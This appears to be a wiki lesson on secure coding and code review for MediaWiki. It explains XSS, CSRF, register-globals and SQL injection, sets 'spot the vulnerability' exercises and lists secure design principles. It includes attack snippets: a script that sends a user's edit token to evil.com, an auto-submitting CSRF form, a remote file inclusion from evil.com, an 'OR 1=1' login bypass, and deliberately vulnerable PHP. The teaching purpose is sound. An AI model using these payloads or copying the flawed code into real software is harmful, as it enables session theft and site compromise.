User:OrenBochman/Security
This is an assignment for Simone's adoption program. You are welcome to edit this page if you notice any errors or have any additional information to add, but as a courtesy, please notify OrenBochman if you make any major changes to avoid any possible confusion between him and his adoptee(s). Thanks! |
Writing secure code and reviewing code for security
[edit]Introduction
[edit]The Secure coding and code review for MediaWiki unit is based on MediaWiki security best practices. This lesson will cover:
- Problems we see on MediaWiki: Top Vulnerabilities
- "Spot the Vulnerability"
- Secure Design Principles
- Collaborative: write some secure code
- Security review of developers' code
Most common MediaWiki securitiy vulnerabilities
[edit]These are the top security vulnerabilites reported by MediaWiki code reviewers:
- Cross-site Scripting (XSS)
- Cross-site Request Forgery (CSRF)
- Not protecting against Register Globals
- SQL Injection
XSS
[edit]Definition: an attacker is able to inject client-side scripting into a web page viewed by other users.
- Security risk are:
- Authenticated Requests
- Session Hijacking
- Click Jacking
- XSS Worms
- Internal network portscanning
- Types
- Reflected
- Stored / 2nd Order
- DOM / 3rd Order
- XSSI / "javascript hijackign"
Reflected XSS
[edit]An attacker is able to inject client-side scripting into a web page, executed by others.
http://en.server.org/w/?search_term=\', echo \'onclick:nasty_code()\'
<input type="text" name="search_term" value="<? echo $_GET['search_term']; ?>" />
which would attack the script:
$search_term = htmlspecialchars( $req->getVal( 'search_term' ) );
$out->addHTML( "<input name='search_term' value='$search_term' />" );
This script looks secure since it uses htmlspecialchars(...)
but this does not escape single quotes.
So if the requesting string contains a single quote the following string can be execute on the server or passed onto the client.
2nd Order (Stored) XSS
[edit]Attacker-controlled data is stored on the website, and executable scripts are displayed to the viewer (victim)
<?php
$articles = $dbr->query("SELECT id, title FROM `articles`");
foreach ($articles as article) {
echo "<a href='read.php?id={$article['id']}'>{$article['title']}</a>";
}
?>
in this attack the article's title retrieved by $article['title']
in the database contains the XSS code....
3rd Order (Dom-based) XSS
[edit]Attacker influences existing DOM manipulations in a way that generates attacker-controlled execution of scripts
<script>
document.write("<a href='"+document.referrer+"'>Go Back</a>");
</script>
XSSI
[edit]- A script with sensitive data is included and manipulated from another domain
- Known as "JavaScript hijacking" Here
- Used in 2006 to compromise gmail [1]
- Often used to enable a CSRF attack
<!-- on a page in the evil.com domain: -->
<script src="//en.wikipedia.org/wiki/loader.php?script" />
<script>
document.write("<img src=evil.com/collector.php?token=" + mw.user.edit_token + " />");
More about XSS
[edit]- For the theories behind XSS, and why certain filter should be applied, read: OWASP XSS Prevention Cheat Sheet
- Quick reference of how to escape data in different document settings: OWASP Abridged XSS Prevention Cheat Sheet
Same Origin Policy
[edit]To understand the cross-site aspects of xss, you will need to understand Same Origin Policy SOP
Lots of useful information about how browsers handle cross-domain situations
SOP is NOT the same for Javascript vs. Flash vs. XHR SOP is changing with CORS
How to eliminate XSS vulnerability?
[edit]- dont trust input - validate it!
- escape output (as close as possible to its the point of generation)
- always use double quotes with parameters in this type of output generation.
How to review code for XSS vulnerabilities?
[edit]- look where Html is constructed.
- Identify possible injection variables.
- Trace data flow backwards.
- Stop tracing if safe escaping function is found.
- If no escaping found ask how trusted is the data source ?
CSRF
[edit]Understanding
[edit]- When an HTTP session is tracked with a cookie, the cookie is appended to every call to the cookie's originating server. This is done automatically by the browser.
- This includes calls to a server for an image, or an iframe
- If a user has an authenticated session established, a remote site can request remote resources from that site. The browser will request those resources with the authority of the logged in user.
// a page on funnykitties.com <img src='cat1.jpg' /> ... <img src='http://en.wikipedia.com/wiki/index.php?title=some_thing&action=delete' /> ...
Or more likely:
<form name="wikiedit" method="POST" target="hiddenframe" action="http://en.wikipedia.com/wiki/index.php?title=some_thing&action=submit" > <input type="hidden" name="wpTextbox1" value="whatever the attacker wants to say" /> ... </form> <iframe name="hiddenframe" style="display: none"></iframe> <script> document.wikiedit.submit(); </script>
Preventing
[edit]- Use the
HTMLForm
which does CSRF checking. User::getEditToken()
- Tokens given out just prior to editing, checked to authorized edit
- In addition to authentication / authorization checks (not a replacement for)
- Must be difficult to predict / guess (e.g., md5( $username, $timestamp ) would be bad; md5( $username, $secretKey, $timestamp ) would be ok)
Reviewing
[edit]check form submission path for User::getEditToken()
testing - html source does it contain a random token and does the form still work if it is given a differnt tokens.
Register Globals
[edit]- If register_globals is on, then an attacker can set variables in your script
Dangers
[edit]- Remote File Inclusion (RFI), if allow_url_fopen is also true
- Alter code execution
RFI
[edit]
include($lang.".php"); // and if $lang is 'http://evil.com/index' ?
Alter execution
[edit]<?php //MyScript.php if ( authenticate( $_POST['username'], $_POST['pass'] ) ) { $authenticated = true; } if ( $authenticated ) { ... }
Protections
[edit]- Don't use globals in script paths
- Ensure your script is called in the correct context
- if ( !defined( 'MEDIAWIKI' ) ) die( 'Invalid entry point.' );
- Sanitize defined globals before use
- Define security-critical variables before use as 'false' or 'null'
SQL Injection
[edit]Understanding
[edit]- Poorly validated data received from the user is used as part of a database (SQL) statement
- Often occurs when attacker-controlled values are concatinated into INSERT or WHERE clauses
Dangers
[edit]- Authentication Bypass
- SELECT * FROM users WHERE username='$username' AND password='$pass';
- If $pass is set to "' OR 1='1"?
- Data corruption
- DROP TABLE, UPDATE data (esp. user tables)
- In the worst case, complete system compromose
- xp_cmdshell on SQL Server
- SELECT INTO OUTFILE on MySql
- lots of other bad stuff...
Preventing
[edit]- Use MediaWiki builtin db classes and pass variables by key=>value for CRUD
- select()
- selectRow()
- insert()
- insertSelect()
- update()
- delete()
- deleteJoin()
- buildLike()
- If you really have to, use database::addQuotes() to escape a single value
Top Vulnerabilites in Web Apps OWASP top 10
[edit]- A1: Injection
- A2: Cross-Site Scripting (XSS)
- A3: Broken Authentication and Session Management
- A4: Insecure Direct Object References
- A5: Cross-Site Request Forgery (CSRF)
- A6: Security Misconfiguration
- A7: Insecure Cryptographic Storage
- A8: Failure to Restrict URL Access
- A9: Insufficient Transport Layer Protection
- A10: Unvalidated Redirects and Forwards
Play "Spot the Vulnerability"
[edit]XSS 1
[edit]<?php /** * XSS is possible. What is wrong with the code? */ $theText = htmlspecialchars( $wgRequest->getVal('text', '') ); $action = htmlspecialchars( $wgRequest->getVal('action', '') ); print "<div class='mymodule-$action'>$theText</div>\n";
XSS 2
[edit]<html> <!-- What url would cause javascript execution? --> <body> <h1>Search:</h1> <form> <script> var pos = document.URL.indexOf("query=")+6; var qry = ''; if ( pos > 5 ) { qry = decodeURIComponent ( document.URL.substring( pos, document.URL.length ) ); } document.write('<input type="text" name="search" id="search" value="'+qry+'" />'); </script> </form> </body> </html>
SQL Injection
[edit]/** * Authentication bypass is possible. How? */ $username = $_POST['user']; $password = $_POST['pass']; $token = $_POST['csrf']; $safeUsername = mysql_real_escape_string( $username ); $safePassword = mysql_real_escape_string( $password ); $safeUsername = substr($safeUsername, 0, 20); $safePassword = substr($safeUsername, 0, 20); if ( isValidToken( $token, __METHOD__ ) ) { $query = "SELECT * FROM User WHERE `user`='$safeUsername' AND `pass`='$safePassord' LIMIT 1"; $result = $db->query($query); if ( $result->num_rows() == 1 ) { return "Success"; } else { return "Invalid Username or Password"; } } else { return "Invalid format for Username, Password, or Token"; }
CSRF
[edit]<?php /** * This code does not prevent CSRF attacks. Why not? */ $errorMsg = ''; function genToken( $timestamp ) { global $MySecretKey; return hash_hmac( 'sha256', $timestamp, $MySecretKey, false ); } if ( isset( $_POST['action'] ) && $_POST['action'] == 'delete' ) { if (isAuthorized($user, 'delete') { $formTime = $_POST['timestamp']; $formToken = $_POST['csrf']; $formArticleId = intval( $_POST['article_id'] ); if ( $formToken == genToken ( $formTime ) ) { $stmt = $db->prepare("DELETE FROM `articles` WHERE `id` = ? LIMIT 1"); $stmt->bind_param('i', $formArticleId ); $stmt->execute(); } else { $errorMsg = "Error with your token, please try again."; } } else { $errorMsg = "You do not have permissions to delete this article"; } } if ( $errorMsg <> '' ) { print "<div class='error'>$errorMsg</div>\n"; } $ts = time(); $stmt = $db->prepare("SELECT `id`, `title` FROM `articles` WHERE `owner` = ?"); $stmt->bind_param('s', $user ); $stmt->execute(); $stmt->bind_result($articleId, $articleTitle); while ($stmt->fetch()) { print '<tr>'; print '<td class="articleTitle">' . htmlspecialchars( $articleTitle ) . '</td>'; print '<td>'; print '<form method="POST">'; print '<input type="hidden" name="article_id" value="' . intval( $articleId ) . '"/>'; print '<input type="hidden" name="csrf" value="' . genToken( $ts ) . '"/>'; print '<input type="hidden" name="timestamp" value="' . $ts . '"/>'; print '<input type="submit" name="action" value="delete"/>'; print "</td></tr>\n"; }
More Bad Code...
[edit]<?php /** * Spot: * - A SQL Injection attack * - At least two XSS attacks * - A RFI attack */ $lang = isset($_REQUEST['lang'])?$_REQUEST['lang']:'en'; include_once( $lang.'/translations.php' ); //define $translations array of phrases if ( isset( $_POST['action'] && $_POST['action'] == 'login' ) { // Handle Authentication Submit $username = $_POST['user']; $username = $_POST['pass']; $db = getDB(); $result = mysql_query( "SELECT * FROM users WHERE username='$username' AND password=MD5('$username') LIMIT 1" ); if (mysql_num_rows($result) == 1 ) { setcookie( 'myApp', "User:${_POST['user']}", 0 ); header( "Location: ${_POST['nextUrl']}" ); } else { header( "Location: ${_SERVER['PHP_SELF']}?errorMsg=${translations['bad_login']}" ) ); } } else { //Otehrwise Show the Form print "<html>\n<head>\n</head>\n<body>\n"; print " <h1>${translations['login']}!</h1>\n"; if ( isset( $_GET['errorMsg'] ) ) { print " <p class='error'>Error: ${_GET['errorMsg']}</p>\n"; } print " <form action=\"${_SERVER['PHP_SELF']}\" method=\"POST\">\n"; print " <input type='text' name='user' />\n"; print " <input type='password' name='pass' />\n"; print " <input type='hidden' name='action' value='login' />\n"; print " <input type='hidden' name='nextUrl' value='secretPage.php' />\n"; print " <input type='hidden' name='lang' value='$lang' />\n"; print " <input type='submit' />\n"; print " </form>\n"; print "</body>\n"; print "</html>\n"; }
Vulnerabilites:
- RFI in lang parameter
- sqli in auth
- $lang xss in form
- errMsg reflective xss
- $translations['login'] reflective xss (with register globals on)
Extra Credit:
- insecure cookie for authentication
- nextUrl header injection
- $translations['bad_login'] header injection (with register globals on)
- No salt for md5 hash of passwords
- PHP_SELF reflective xss
Secure Design Principles
[edit]Simplicity (Demonstrable Security)
[edit]The larger and more complex your code, the more likely that it will contain a vulnerability. Keeping your code clean, simple, and easy to understand will reduce the number of places your code can be attacked, as well as making it easy for others to spot flaws or potential attacks before attackers do. Clearly document any security assumptions that your code makes.
This principle states that the most strict security posture for your feature / code should be the default as soon as it goes into production. If an administrator needs to lower the security for their users, they should be able to do so, but it would be an intentional action on their part to increase their risk. If you're not sure what the most secure option is, ask someone!
Secure the Weakest Link
[edit]Successful attackers will nearly always attack the weakest point in a system, instead of the most well protected ones. For example, an attacker will not spend time circumventing the MediaWiki parser functions to inject a xss if they are able to make a change to Common.js, or socially engineer an admin to give them their password. Keep the whole system in mind as you design.
Least Privileges
[edit]In general, any features you develop should be able to run with "Just enough authority to get the job done." [3] For example, if most of your users will only need to see public information, but a few would benefit from some privileged data, segment based on a role instead of giving everyone advances privileges or showing all of the data to everyone.
- Do not use eval, create_function
- Regex'es
- Don't use with /e
- Escape user-controled strings that get used in a regex with preg_quote()
- Use MW's HTMLForm class, or include/check $wgUser->editToken() to prevent CSRF
- Filter / Validate your inputs
- intval(), getInt(), etc.
- Use a whitelist of expected values when possible
- Defend against register-global variable injections
- Use Html and Xml helper classes to write out text
- Use Sanitizer::checkCss for any css from users
- Use database wrappers to communicate with DB
- Clearly comment unexpected / odd parts of your code
Collaborative Development of Code
[edit]- Starting with a skeleton of a SpecialPage
- Create a Special Page that allows searching, and showing results
- Assume a database of text data
- CREATE table `myData` (`id` INT, `name` varchar(80), `body` TEXT);
- Presents a search box to users of your content.
- When a search is received, search the database for a match in the `name` or `body` fields, display the search term, and a list of article names (which link to the article), and the beginning of the body to the users.
<?php /** * SpecialPageExample.php * * A special page that searches MyData * * Starting with this structure, create a page that: * - Assuming a database table full of useful info myData * - CREATE table `myData` (`id` INT, `name` varchar(80), `body` TEXT); * - Present a search box to users * - When a search is received, search the name and body fields and display: * - The name of the data * - The first 200 characters of data from the body * - For the sake of example, ignore Roan's talk about DB performance... */ class SpecialSearchExample extends SpecialPage { public function __construct() { parent::__construct( 'MySearchExample' ); } public function execute( $par ) { /** * Show a search box at the top * Something like: * <form> * <input type="text" name="search" value="$oldSearchVal" /> * <input type="submit" /> * </form> */ /** * Show search results, if there was a search term */ } }
Discussion
[edit]If there are any questions you have about this lesson, ask them! If you are ready to take the test, simply tell me (either on this page or on my talk page) and I will hand it out to you.